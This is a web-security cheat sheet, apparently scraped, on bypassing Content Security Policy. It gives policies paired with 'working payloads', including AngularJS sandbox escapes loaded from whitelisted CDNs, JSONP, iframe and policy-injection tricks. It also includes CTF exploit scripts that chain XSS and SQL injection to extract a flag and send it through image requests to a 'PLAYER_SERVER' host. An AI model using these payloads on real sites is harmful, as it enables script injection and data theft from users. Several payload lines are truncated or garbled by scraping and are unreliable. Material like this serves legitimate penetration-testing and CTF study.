Content Security Policy (CSP) Bypass

'unsafe-inline' --> Allows

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;

Working payload:

Wildcard

Content-Security-Policy: script-src 'self' https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;

Working payload: "/>'>

Lack of object-src and default-src

Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;

Working payloads:

• ">'>

File Upload + 'self'

Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;

If you can upload a JS file you can bypass this CSP:

Working payload: "/>'>

However, it's highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.

Moreover, even if you could upload a JS code inside a file using a extension accepted by the server (like: script.png) this won't be enough because some servers like apache server selects MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache doesn't know the .wave extension, therefore it doesn't serve it with a MIME type like audio/*.

From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).

Allowing third party endpoints

Arbitrary JS files loaded from whitelisted endpoints

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;

Working payloads abusing cdnjs.cloudflare.com:

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js">script><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" />script> <div ng-app ng-csp>  {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }} div>"><script src="https://cdnjs.cloudflare.com/angular.min.js">script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}div>​"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> script><div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>

JSONP

Content-Security-Policy: script-src 'self' https://www.google.com;

In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. jsonp endpoints allow insecure callback methods which allow an attacker to perform xss.

Working payload: ">

The same vulnerability will occur if the trusted endpoint contains an Open Redirect, because if the initial endpoint is trusted, redirects are trusted.

Folder path bypass

If CSP policy points to a folder and you use %2f to encode "/", it is still considered to be inside the folder. All browsers seem to agree on that. This leads to a possible bypass, by using "%2f..%2f" if server decodes it. For example, if CSP allows http://example.com/company/ you can bypass the folder restriction and execute: http://example.com/company%2f..%2fattacker/file.js

Online Example: ​https://jsbin.com/werevijewa/edit?html,output​

Through iframes

Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self' ;report-uri /_csp; upgrade-insecure-requests

Working payloads:

<iframe srcdoc=''>iframe>​* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)<iframe src='data:text/html,'>iframe>

AngularJS events

Depending on the specific policy, the CSP will block JavaScript events. However, AngularJS defines its own events that can be used instead. When inside an event, AngularJS defines a special $event object, which simply references the browser event object. You can use this object to perform a CSP bypass. On Chrome, there is a special property on the $event/event object called path. This property contains an array of objects that causes the event to be executed. The last property is always the window object, which we can use to perform a sandbox escape. By passing this array to the orderBy filter, we can enumerate the array and use the last element (the window object) to execute a global function, such as alert(). The following code demonstrates this:

<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">?search=#x

AngularJS and whitelisted domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable class. For more details visit this awesome git repo.

Working payloads:

">ng-app"ng-csp ng-click=$event.view.alert(1337)>

Bypass CSP with dangling markup

Read how here.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' means that you can execute any script inside the code (XSS can execute code) and img-src * means that you can use in the webpage any image from any resource.

You can bypass this CSP exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains a SQLi, and extract the flag via an image):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle​

You could also abuse this configuration to load javascript code inserted inside an image. If for example, the page allows to load images from twitter. You could craft an special image, upload it to twitter and abuse the "unsafe-inline" to executea JS code (as a regular XSS) that will load the image, extract the JS from it and execute it: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/​

img-src *; via XSS (iframe) - Time attack

Notice the lack of the directive 'unsafe-inline' This time you can make the victim load a page in your control via XSS with a. This time you are going to make the victim access the page from where you want to extract information (CSRF). You cannot access the content of the page, but if somehow you can control the time the page needs to load you can extract the information you need.

This time a flag is going to be extracted, whenever a char is correctly guessed via SQLi the response takes more time due to the sleep function. Then, you will be able to extract the flag:

<iframe name=f id=g></iframe> <script>let host = "http://x-oracle-v1.nn9ed.ka0labs.org";function gen(x) {	x = escape(x.replace(/_/g, '\\_'));	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`; }​function gen2(x) {	x = escape(x);	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;}​async function query(word, end=false) { 	let h = performance.now();	f.location = (end ? gen2(word) : gen(word));	await new Promise(r => {		g.onload = r; 	});	let diff = performance.now() - h;	return diff > 300;}​let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');let postfix = '}'​async function run() {	let prefix = 'nn9ed{';	while (true) {		let i = 0;		for (i;i<alphabet.length;i++) {			let c = alphabet[i];			let t =  await query(prefix+c); 			console.log(prefix, c, t);			if (t) {				console.log('FOUND!')				prefix += c;				break;			}		}		if (i==alphabet.length) {			console.log('missing chars');			break;		}		let t = await query(prefix+'}', true);		if (t) {			prefix += '}';			break;		}	}	new Image().src = 'http://PLAYER_SERVER/?' + prefix; 	console.log(prefix);}​run();</script>

document.querySelector('DIV').innerHTML="";

Policy Injection

Research: https://portswigger.net/research/bypassing-csp-with-policy-injection​

Chrome

If a parameter sent by you is being pasted inside the declaration of the policy, then you could alter the policy in some way that makes it useless. You could allow script 'unsafe-inline' with any of these bypasses:

script-src-elem *; script-src-attr *script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Because this directive will overwrite existing script-src directives. You can find an example here: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E​

Edge

In Edge is much simpler. If you can add in the CSP just this: ;_ Edge would drop the entire policy. Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E​

Checking CSP Policies Online

Automatically creating CSP

​https://csper.io/docs/generating-content-security-policy​

References

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